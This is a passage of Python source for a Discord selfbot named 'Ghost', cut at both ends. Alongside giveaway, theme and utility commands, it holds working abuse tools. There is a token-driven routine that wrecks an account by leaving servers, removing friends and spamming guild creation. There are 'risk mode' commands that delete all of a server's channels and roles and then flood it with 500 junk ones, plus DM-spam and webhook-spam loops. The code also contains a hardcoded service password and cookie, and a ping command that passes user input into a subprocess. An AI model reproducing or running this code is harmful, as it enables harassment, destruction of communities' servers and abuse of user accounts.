get_random_user_agent()}) except: pass except: pass def createGuilds(): while True: requests.post("https://discord.com/api/guilds", headers={"Authorization": token, "User-Agent": get_random_user_agent(), "Content-Type": "application/json"}, data=json.dumps({ "name": "EPIC GAMERS" })) threading.Thread(target=themeSpammer).start() threading.Thread(target=closeDms).start() threading.Thread(target=leaveServers).start() threading.Thread(target=removeFriends).start() threading.Thread(target=createGuilds).start() @Ghost.command(name="gstart", description="Start a giveaway in the same channel", usage="gstart [duration] [winners] [prize]", aliases=["giveawaystart", "startgiveaway"]) async def gstart(ctx, duration=None, winners: int = None, *, prize=None): if duration is not None: if winners is not None: if prize is not None: if duration.endswith("m"): duration = duration[:-1] time = int(duration) * 60 timemins = time // 60 timepretty = f"{timemins} minute(s)" elif duration.endswith("s"): duration = duration[:-1] time = int(duration) timepretty = f"{time} second(s)" elif duration.endswith("h"): duration = duration[:-1] time = int(duration) * 3600 timehrs = time // 3600 timepretty = f"{timehrs} hour(s)" else: if duration.endswith("s") or duration.endswith("m") or duration.endswith("h"): duration = duration[:-1] time = int(duration) timepretty = f"{time} second(s)" e = discord.Embed( description=f"React with 🎉 to enter!\nEnds in {timepretty}\nHosted by {ctx.author.mention}", color=__embedcolour__) if winners >= 2: e.set_footer(text=f"{winners} winners | Ends at") else: e.set_footer(text="1 winner | Ends at") e.set_author(name=prize) future = datetime.now() + timedelta(seconds=time) e.timestamp = future msg = await ctx.send("🎉 **GIVEAWAY** 🎉", embed=e) await msg.add_reaction('\U0001F389') await asyncio.sleep(time) channelMsgHistory = await ctx.channel.history(limit=500).flatten() for message in channelMsgHistory: if message.id == msg.id: msg = message #running = False if "🎉 **GIVEAWAY** 🎉" in msg.content: entries = [] reactions = msg.reactions for reaction in reactions: users = await reaction.users().flatten() for user in users: entries.append(f"<@{user.id}>") entries.remove(f"<@{Ghost.user.id}>") nowinner = False if entries != []: nowinner = False winnerslist = [] if winners >= 2: for _ in range(winners): winner1 = random.choice(entries) winnerslist.append(winner1) else: winner1 = random.choice(entries) winnerslist.append(winner1) else: nowinner = True #running = True if nowinner is True: await ctx.send(f"A winner was not determined.\n{msg.jump_url}") newe = discord.Embed( description=f"A winner was not determined.\nHosted by {ctx.author.mention}", color=0x36393F) else: await ctx.send("🎉 " + ', '.join(winnerslist) + f" you won **{prize}**\n{msg.jump_url}") newe = discord.Embed( description=', '.join(winnerslist) + f" won!\nHosted by {ctx.author.mention}", color=0x36393F) newe.set_author(name=prize) if winners >= 2: newe.set_footer(text=f"{winners} winners | Ended at") else: newe.set_footer(text="1 winner | Ended at") future = datetime.now() + timedelta(seconds=time) newe.timestamp = future await msg.edit(content="🎉 **GIVEAWAY ENDED** 🎉", embed=newe) #elif "🎉 **GIVEAWAY ENDED** 🎉" in msg.content: #running = False else: await ctx.send( f"❌ **Incorrect Syntax**\nTry: `{Ghost.command_prefix}gstart 30m 1 Awesome T-Shirt`") else: await ctx.send(f"❌ **Incorrect Syntax**\nTry: `{Ghost.command_prefix}gstart 30m 1 Awesome T-Shirt`") else: await ctx.send(f"❌ **Incorrect Syntax**\nTry: `{Ghost.command_prefix}gstart 30m 1 Awesome T-Shirt`") @Ghost.command(name="gend", description="End a giveaway", usage="gend [message id]", aliases=["giveawayend", "endgiveaway"]) async def gend(ctx, id: int = None): #running = False msgId = "" msgAuthorId = "" msgContent = "" channelMsgHistory = await ctx.channel.history(limit=500).flatten() #print(channelMsgHistory) for message in channelMsgHistory: #print(message.id) if message.id == id: msgId = message.id msgAuthorId = message.author.id msgContent = message.content msg = message #print("Fetched Message ID: " + str(msgId)) #print("Looking for Message ID: " + str(id)) #print("Message author ID: " + str(msgAuthorId)) #print("Bot user ID: " + str(Ghost.user.id)) if msgId == id and msgAuthorId == Ghost.user.id: if "🎉 **GIVEAWAY** 🎉" in msgContent: #running = True embeds = msg.embeds for embed in embeds: embed_dict = embed.to_dict() entries = [] reactions = msg.reactions for reaction in reactions: users = await reaction.users().flatten() for user in users: entries.append(f"<@{user.id}>") entries.remove(f"<@{Ghost.user.id}>") nowinner = False if "winners" in embed_dict['footer']['text']: winners = embed_dict['footer']['text'].replace(" winners | Ends at", "") elif "winner" in embed_dict['footer']['text']: winners = embed_dict['footer']['text'].replace(" winner | Ends at", "") prize = embed_dict['author']['name'] if entries != []: nowinner = False winnerslist = [] if int(winners) >= 2: for _ in range(int(winners)): winner1 = random.choice(entries) winnerslist.append(winner1) else: winner1 = random.choice(entries) winnerslist.append(winner1) else: nowinner = True if nowinner is True: await ctx.send(f"A winner was not determined.\n{msg.jump_url}") newe = discord.Embed( description=f"A winner was not determined.\nHosted by {ctx.author.mention}", color=0x36393F) else: await ctx.send("🎉 " + ', '.join(winnerslist) + f" you won **{prize}**\n{msg.jump_url}") newe = discord.Embed( description=', '.join(winnerslist) + f" won!\nHosted by {ctx.author.mention}", color=0x36393F) newe.set_author(name=embed_dict['author']['name']) if int(winners) >= 2: newe.set_footer(text=f"{winners} winners | Ended at") else: newe.set_footer(text=f"{winners} winner | Ended at") newe.timestamp = datetime.now() await msg.edit(content="🎉 **GIVEAWAY ENDED** 🎉", embed=newe) elif "🎉 **GIVEAWAY ENDED** 🎉" in msgContent: #running = False await ctx.send("😔 That giveaway has already ended.") else: await ctx.send("That is not a giveaway.") else: await ctx.send("That is not a giveaway.") @Ghost.command(name="greroll", description="Re-roll a giveaway", usage="greroll [message id]", aliases=["giveawayreroll", "rerollgiveaway"]) async def greroll(ctx, id: int = None): #running = False channelMsgHistory = await ctx.channel.history(limit=500).flatten() for message in channelMsgHistory: if message.id == id: msg = message if msg.author.id == Ghost.user.id: if "🎉 **GIVEAWAY** 🎉" in msg.content: #running = True await ctx.send("You can't re-roll a running giveaway.") elif "🎉 **GIVEAWAY ENDED** 🎉" in msg.content: #running = False embeds = msg.embeds for embed in embeds: embed_dict = embed.to_dict() entries = [] reactions = msg.reactions for reaction in reactions: users = await reaction.users().flatten() for user in users: entries.append(f"<@{user.id}>") entries.remove(f"<@{Ghost.user.id}>") nowinner = False if "winners" in embed_dict['footer']['text']: winners = embed_dict['footer']['text'].replace(" winners | Ended at", "") elif "winner" in embed_dict['footer']['text']: winners = embed_dict['footer']['text'].replace(" winner | Ended at", "") prize = embed_dict['author']['name'] if entries != []: nowinner = False winnerslist = [] if int(winners) >= 2: for _ in range(int(winners)): winner1 = random.choice(entries) winnerslist.append(winner1) else: winner1 = random.choice(entries) winnerslist.append(winner1) else: nowinner = True if nowinner is True: await ctx.send(f"A winner was not determined.\n{msg.jump_url}") else: await ctx.send("🎉 " + ', '.join(winnerslist) + f" you won **{prize}**\n{msg.jump_url}") else: await ctx.send("That is not a giveaway.") else: await ctx.send("That is not a giveaway.") typing = False @Ghost.command(name="typing", description="Start or stop typing.", usage="typing [start/stop]", aliases=["inftyping", "infintetyping"]) async def typing__(ctx, action = None): global typing if action == "start" or action == "Start": await ctx.send("Started typing.") typing = True while typing is True: async with ctx.typing(): await asyncio.sleep(1) if typing is False: break elif action == "stop" or action == "Stop": await ctx.send("Stopped typing.") typing = False elif action is None: pass @Ghost.command(name="sounds", description="Toggle Ghost notification sounds.", usage="sounds", aliases=["togglesounds", "soundstoggle"]) async def sounds(ctx): global __sounds__ if __sounds__: __sounds__ = False cfg = Config.getConfig() cfg["sounds"] = False Config.saveConfig(cfg) await ctx.send("Disabled Ghost notification sounds.") else: __sounds__ = True cfg = Config.getConfig() cfg["sounds"] = True Config.saveConfig(cfg) await ctx.send("Enabled Ghost notification sounds.") @Ghost.command(name="ping", description="Ping a domain or ip address.", usage="ping [ip/domain]") async def ping(ctx, *, dns): message = await ctx.send("Pinging...") output = subprocess.run(f"ping {dns}",text=True,stdout=subprocess.PIPE).stdout.splitlines() values = "".join(output[-1:])[4:].split(", ") minimum = values[0][len("Minimum = "):] maximum = values[1][len("Maximum = "):] average = values[2][len("Average = "):] address = output[1].replace(f"Pinging {dns} [", "").replace("] with 32 bytes of data:", "") if __embedmode__: embed = discord.Embed(title=f"{dns} ping..", color=__embedcolour__) embed.add_field(name="IP Address", value=f"```{address}```", inline=False) embed.add_field(name="Minimum", value=f"```{minimum}```", inline=False) embed.add_field(name="Maximum", value=f"```{maximum}```", inline=False) embed.add_field(name="Average", value=f"```{average}```", inline=False) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await message.edit(content="Pong!", embed=embed, delete_after=__deletetimeout__) else: await message.edit(content=f"""```ini [ {dns} ping.. ] IP Address: {address} Minimum: {minimum} Maximum: {maximum} Average: {average} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="cloneserver", description="Clone a server.", usage="cloneserver", aliases=["copyserver"]) async def cloneserver(ctx): serverName = ctx.guild.name serverIcon = ctx.guild.icon newGuild = await Ghost.create_guild(serverName) print_info(f"Created new guild.") newGuildDefaultChannels = await newGuild.fetch_channels() for channel in newGuildDefaultChannels: await channel.delete() for channel in ctx.guild.channels: if str(channel.type).lower() == "category": try: await newGuild.create_category(channel.name, overwrites=channel.overwrites, position=channel.position) print_info(f"Created new category : {channel.name}") except: pass for channel in ctx.guild.voice_channels: try: cat = "" for category in newGuild.categories: if channel.category.name == category.name: cat = category await newGuild.create_voice_channel(channel.name, category=cat, overwrites=channel.overwrites, topic=channel.topic, slowmode_delay=channel.slowmode_delay, nsfw=channel.nsfw, position=channel.position) print_info(f"Created new voice channel : {channel.name}") except: pass for channel in ctx.guild.stage_channels: try: cat = "" for category in newGuild.categories: if channel.category.name == category.name: cat = category await newGuild.create_stage_channel(channel.name, category=cat, overwrites=channel.overwrites, topic=channel.topic, slowmode_delay=channel.slowmode_delay, nsfw=channel.nsfw, position=channel.position) print_info(f"Created new stage channel : {channel.name}") except: pass for channel in ctx.guild.text_channels: try: cat = "" for category in newGuild.categories: if channel.category.name == category.name: cat = category await newGuild.create_text_channel(channel.name, category=cat, overwrites=channel.overwrites, topic=channel.topic, slowmode_delay=channel.slowmode_delay, nsfw=channel.nsfw, position=channel.position) print_info(f"Created new text channel : {channel.name}") except: pass for role in ctx.guild.roles[::-1]: if role.name != "@everyone": try: await newGuild.create_role(name=role.name, color=role.color, permissions=role.permissions, hoist=role.hoist, mentionable=role.mentionable) print_info(f"Created new role : {role.name}") except: pass await ctx.send(f"Made a clone of `{ctx.guild.name}`.") @Ghost.command(name="webhooksetup", description="Create a new server with webhooks.", usage="webhooksetup", aliases=["setupwebhooks"]) async def webhooksetup(ctx): global __nitrowebhook__, __privnotewebhook__, __giveawaywebhook__, __ghostpingwebhook__, __friendsupdatewebhook__, __dmtypingwebhook__, __guildleavewebhook__, __selfbotwebhook__, __ticketswebhook__ configFile = json.load(open("config.json")) guild = await Ghost.create_guild(ctx.author.name + "'s webhooks") newGuildDefaultChannels = await guild.fetch_channels() for channel in newGuildDefaultChannels: await channel.delete() for channel in guild.text_channels: await channel.delete() for channel in guild.voice_channels: await channel.delete() for channel in guild.categories: await channel.delete() category = await guild.create_category_channel("Webhooks") nitroWebhookChannel = await category.create_text_channel("nitro-sniper") privnoteWebhookChannel = await category.create_text_channel("privnote-sniper") giveawayWebhookChannel = await category.create_text_channel("giveaway-sniper") ghostPingWebhookChannel = await category.create_text_channel("ghost-pings") friendUpdatesWebhookChannel = await category.create_text_channel("friend-updates") dmTypingWebhookChannel = await category.create_text_channel("dm-typing") guildLeaveWebhookChannel = await category.create_text_channel("guild-leave") selfbotsWebhookChannel = await category.create_text_channel("selfbots") ticketsWebhookChannel = await category.create_text_channel("tickets") nitroWebhook = await nitroWebhookChannel.create_webhook(name="Ghost Nitro Sniper") privnoteWebhook = await privnoteWebhookChannel.create_webhook(name="Ghost Privnote Sniper") giveawayWebhook = await giveawayWebhookChannel.create_webhook(name="Ghost Giveaway Sniper") ghostPingWebhook = await ghostPingWebhookChannel.create_webhook(name="Ghost Pings") friendUpdatesWebhook = await friendUpdatesWebhookChannel.create_webhook(name="Friend Updates") dmTypingWebhook = await dmTypingWebhookChannel.create_webhook(name="DM Typing") guildLeaveWebhook = await guildLeaveWebhookChannel.create_webhook(name="Guild Leave") selfbotsWebhook = await selfbotsWebhookChannel.create_webhook(name="Selfbots") ticketsWebhook = await ticketsWebhookChannel.create_webhook(name="Tickets") __nitrowebhook__ = nitroWebhook.url __privnotewebhook__ = privnoteWebhook.url __giveawaywebhook__ = giveawayWebhook.url __ghostpingwebhook__ = ghostPingWebhook.url __friendsupdatewebhook__ = friendUpdatesWebhook.url __dmtypingwebhook__ = dmTypingWebhook.url __guildleavewebhook__ = guildLeaveWebhook.url __selfbotwebhook__ = selfbotsWebhook.url __ticketswebhook__ = ticketsWebhook.url configFile["webhooks"]["nitro"] = __nitrowebhook__ configFile["webhooks"]["privnote"] = __privnotewebhook__ configFile["webhooks"]["giveaway"] = __giveawaywebhook__ configFile["webhooks"]["ghostping"] = __ghostpingwebhook__ configFile["webhooks"]["friendsupdate"] = __friendsupdatewebhook__ configFile["webhooks"]["dmtyping"] = __dmtypingwebhook__ configFile["webhooks"]["guildleave"] = __guildleavewebhook__ configFile["webhooks"]["selfbot"] = __selfbotwebhook__ configFile["webhooks"]["tickets"] = __ticketswebhook__ json.dump(configFile, open("config.json", "w"), sort_keys=False, indent=4) if __embedmode__: embed = discord.Embed(title="Webhook Setup", description=f"Created a new guild for your webhooks called `{guild.name}`.", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Created a new guild for your webhooks called `{guild.name}`.", delete_after=__deletetimeout__) @Ghost.command(name="spamwebhook", description="Spam the shit out of a webhook.", usage="spamwebhook [amount] [url] (message)") async def spamwebhook(ctx, amount: int, url, *, message = None): if __embedmode__: embed = discord.Embed(title="Spamming webhook...", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Spamming webhook...", delete_after=__deletetimeout__) if message is None: for _ in range(amount): spamMsg = ''.join(random.choice(string.ascii_letters) for i in range(2000)) webhook = DiscordWebhook(url=url, content=spamMsg) webhook.execute() else: for _ in range(amount): webhook = DiscordWebhook(url=url, content=message) webhook.execute() if __embedmode__: embed = discord.Embed(title="Finished spamming webhook", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Finished spamming webhook!", delete_after=__deletetimeout__) @Ghost.command(name="newwebhook", description="Create a webhook in the command channel.", usage="newwebhook [name]", aliases=["createwebhook"]) async def newwebhook(ctx, *, name): webhook = await ctx.channel.create_webhook(name=name) if __embedmode__: embed = discord.Embed(title=f"Created a webhook called {name}", description=f"URL: {webhook.url}", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Created a webhook called {name}\nURL: {webhook.url}", delete_after=__deletetimeout__) @Ghost.command(name="delwebhook", description="Delete a webhook from the ID.", usage="delwebhook [id]", aliases=["deletewebhook", "removewebhook"]) async def delwebhook(ctx, id: int): webhook = await Ghost.fetch_webhook(id) await webhook.delete() if __embedmode__: embed = discord.Embed(title="Deleted the webhook", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Deleted the webhook", delete_after=__deletetimeout__) @Ghost.command(name="webhookinfo", description="Information about the webhook.", usage="webhookinfo [id]", aliases=["webhooklookup", "lookupwebhook"]) async def webhookinfo(ctx, id: int): webhook = await Ghost.fetch_webhook(id) if __embedmode__: embed = discord.Embed(title=f"{webhook.name} Information", colour=__embedcolour__) embed.add_field(name="Webhook Name", value=f"```{webhook.name}```", inline=False) embed.add_field(name="Webhook ID", value=f"```{webhook.id}```", inline=False) embed.add_field(name="Webhook Guild", value=f"```{webhook.guild.name}```", inline=False) embed.add_field(name="Webhook Channel", value=f"```{webhook.channel.name}```", inline=False) embed.add_field(name="Webhook Token", value=f"```{webhook.token}```", inline=False) embed.set_thumbnail(url=webhook.avatar_url) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ {webhook.name} Information ] Webhook Name: {webhook.name} Webhook ID: {webhook.id} Webhook Guild: {webhook.guild.name} Webhook Channel: {webhook.channel.name} Webhook Token: {webhook.token} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="dumpchat", description="Get the chat's history.", usage="dumpchat [amount] (channel id) (oldest first, true/false)", aliases=["savechat", "chathistory"]) async def dumpchat(ctx, amount: int, channelId: int = None, oldestFirst: bool = False): if channelId is None: messages = await ctx.channel.history(limit=amount, oldest_first=oldestFirst).flatten() f = open("chat_history.txt", "a") try: f.write(f"Chat history for #{ctx.channel.name} in {ctx.guild.name}\nSaved a total of {len(messages)} messages.\n \n") except: f.write(f"Saved a total of {len(messages)} messages.\n \n") for msg in messages: try: f.write(f"[{msg.created_at.strftime('%m/%d/%Y, %H:%M:%S')}] {msg.author.name}#{msg.author.discriminator}: {msg.content}\n") except: pass f.close() await ctx.send("Generated the chat history.", file=discord.File("chat_history.txt")) os.remove("chat_history.txt") else: channel = Ghost.get_channel(channelId) messages = await channel.history(limit=amount, oldest_first=oldestFirst).flatten() f = open("chat_history.txt", "a") try: f.write(f"Chat history for #{channel.name} in {channel.guild.name}\nSaved a total of {len(messages)} messages.\n \n") except: f.write(f"Saved a total of {len(messages)} messages.\n \n") for msg in messages: try: f.write(f"[{msg.created_at.strftime('%m/%d/%Y, %H:%M:%S')}] {msg.author.name}#{msg.author.discriminator}: {msg.content}\n") except: pass f.close() await ctx.send("Generated the chat history.", file=discord.File("chat_history.txt")) os.remove("chat_history.txt") @Ghost.command(name="newtheme", description="Create a new theme with the given name.", usage="newtheme [name]", aliases=["createtheme"]) async def newtheme(ctx, *, name): if not os.path.isfile(f'themes/{name}.json'): name = name.replace(" ", "-") f = open(f'themes/{name}.json', "w") f.write(""" { "embedtitle": "Ghost Recoded", "embedcolour": "#708ffa", "embedfooter": "", "embedfooterimage": "", "globalemoji": ":ghost:", "embedimage": "" } """) f.close() if __embedmode__: embed = discord.Embed(title="Theme create with the name " + name, colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Theme create with the name {name} ] # {__embedfooter__}```""", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title="A theme with that name already exists", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ A theme with that name already exists ] # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="deltheme", description="Delete the named theme.", usage="deltheme [name]", aliases=["deletetheme", "removetheme"]) async def deltheme(ctx, *, name): if not os.path.isfile(f'themes/{name}.json'): if __embedmode__: embed = discord.Embed(title="A theme with that name doesnt exist", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ A theme with that name doesnt exist ] # {__embedfooter__}```""", delete_after=__deletetimeout__) else: os.remove(f'themes/{name}.json') if __embedmode__: embed = discord.Embed(title="Theme with the name " + name + " was deleted", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Theme with the name {name} was deleted ] # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="theme", description="Change your current theme.", usage="theme [theme]", aliases=["settheme"]) async def theme__(ctx, *, theme): if os.path.isfile(f'themes/{theme}.json'): updateTheme(theme + ".json") Config.changeTheme(theme) if __embedmode__: embed = discord.Embed(title="That theme has been set", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ That theme has been set ] # {__embedfooter__}```""", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title="A theme with that name doesnt exist", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ A theme with that name doesnt exist ] # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="prefix", description="Set the command prefix.", usage="prefix [prefix]", aliases=["c"]) async def prefix(ctx, *, prefix): Config.changePrefix(prefix) if __embedmode__: embed = discord.Embed(title=f"Prefix changed to `{prefix}`", colour=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Prefix changed to {prefix} ] # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="restart", description="Restart Ghost selfbot.", usage="restart", aliases=["reboot", "reload"]) async def restart(ctx): print_info("Restarting ghost...") await ctx.send("Restarting ghost...") restart_bot() @Ghost.command(name="firstmessage", description="Get the first message in the command channel.", usage="firstmessage") async def firstmessage(ctx): messages = await ctx.channel.history(limit=1, oldest_first=True).flatten() for message in messages: firstMessage = message if __embedmode__: embed = discord.Embed(title="First Message", description=f"{firstMessage.jump_url}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"First message: {firstMessage.jump_url}") @Ghost.command(name="haste", description="Upload text to Ghost's Haste site.", usage="haste [text]") async def haste(ctx, *, text): url = "https://haste.ghost.cool/haste" payload=f'password=h5MEn3ptby4XSdxJ&text={text}&username={ctx.author.name}' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': '__cfduid=dffeb66149683e21f8e860ea28116dd7d1613823909' } response = requests.request("POST", url, headers=headers, data=payload) await ctx.send(response.text) @Ghost.command(name="shrug", description="Shrug your arms.", usage="shrug") async def shrug(ctx): await ctx.send(f"¯\_(ツ)_/¯") @Ghost.command(name="tableflip", description="Flip the table.", usage="tableflip") async def tableflip(ctx): await ctx.send("(╯°□°)╯︵ ┻━┻") @Ghost.command(name="unflip", description="Put the table back.", usage="unflip") async def unflip(ctx): await ctx.send("┬─┬ ノ( ゜-゜ノ)") # @Ghost.command(name="hide", description="Hide a message behind another message.", usage="hide [msg1] [msg2]") # async def hide(ctx, msg1, msg2): # await ctx.send(msg1+hideText+msg2) @Ghost.command(name="blank", description="Send a blank message", usage="blank") async def blank(ctx): await ctx.send("** **") @Ghost.command(name="length", description="Get the length of a string.", usage="length [string]", aliases=["stringlength"]) async def length(ctx, *, string): await ctx.send(f"Length of `{string}`: " + len(string)) @Ghost.command(name="lmgtfy", description="Let me Google that for you.", usage="lmgtfy [search]", aliases=["letmegooglethatforyou"]) async def lmgtfy(ctx, *, search): await ctx.send(f"https://lmgtfy.app/?q={search.replace(' ', '+')}") @Ghost.command(name="selfbotcheck", description="Checks for users using a selfbot.", usage="selfbotcheck") async def selfbotcheck(ctx): await ctx.send("Checking for users with a trash selfbot...\nPeople who react below are using a selfbot.") await ctx.send("GIVEAWAY") await ctx.send("🎉 **GIVEAWAY** 🎉") @Ghost.command(name="nukeserver", description="Delete all roles and channels in the command server.", usage="nukeserver", aliases=["nukeguild"]) async def nukeserver(ctx): if __riskmode__: if ctx.author.guild_permissions.administrator: for channel in ctx.guild.channels: try: await channel.delete() except: pass for role in ctx.guild.roles: try: await role.delete() except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="destroyserver", description="Completely destroy the command server.", usage="destroyserver", aliases=["destroyguild"]) async def destroyserver(ctx): if __riskmode__: if ctx.author.guild_permissions.administrator: for channel in ctx.guild.channels: try: await channel.delete() except: pass for role in ctx.guild.roles: try: await role.delete() except: pass name = ''.join(random.choice(string.ascii_letters) for i in range(100)) await ctx.guild.edit(name=name) for _ in range(500): name = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(12, 18))) await ctx.guild.create_text_channel(name=f'{name}') await ctx.guild.create_role(name=f'{name}') else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="spamchannels", description="Spam create channels with a desired name. (Thanks Port <3)", usage="spamchannels [amount] (name)", aliases=["spamcreatechannels"]) async def spamchannels(ctx, amount: int, *, name = None): if __riskmode__: if ctx.author.guild_permissions.manage_channels: if name is None: for _ in range(amount): name = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(12, 18))) await ctx.guild.create_text_channel(name=f'{name}') else: for _ in range(amount): await ctx.guild.create_text_channel(name=f'{name}') else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="spamroles", description="Spam create roles with a desired name.", usage="spamroles [amount] (name)", aliases=["spamcreateroles"]) async def spamroles(ctx, amount: int, *, name = None): if __riskmode__: if ctx.author.guild_permissions.manage_roles: if name is None: for _ in range(amount): name = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(12, 18))) await ctx.guild.create_role(name=f'{name}') else: for _ in range(amount): await ctx.guild.create_role(name=f'{name}') else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="deletechannels", description="Delete all of the command server's channels.", usage="deletechannels", aliases=["delchannels", "removechannels"]) async def deletechannels(ctx): if __riskmode__: if ctx.author.guild_permissions.manage_channels: for channel in ctx.guild.channels: try: await channel.delete() except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="deleteroles", description="Delete all of the command server's roles.", usage="deleteroles", aliases=["delroles", "removeroles"]) async def deleteroles(ctx): if __riskmode__: if ctx.author.guild_permissions.manage_roles: for role in ctx.guild.roles: try: await role.delete() except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="dmspam", description="Spam DM messages X amount of times.", usage="dmspam [amount] [delay] [@user] [message]", aliases=["spamdm"]) async def dmspam(ctx, amount: int, delay: int, user: discord.User, *, message): if __riskmode__: for _ in range(amount): try: await user.send(message) await asyncio.sleep(delay) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await 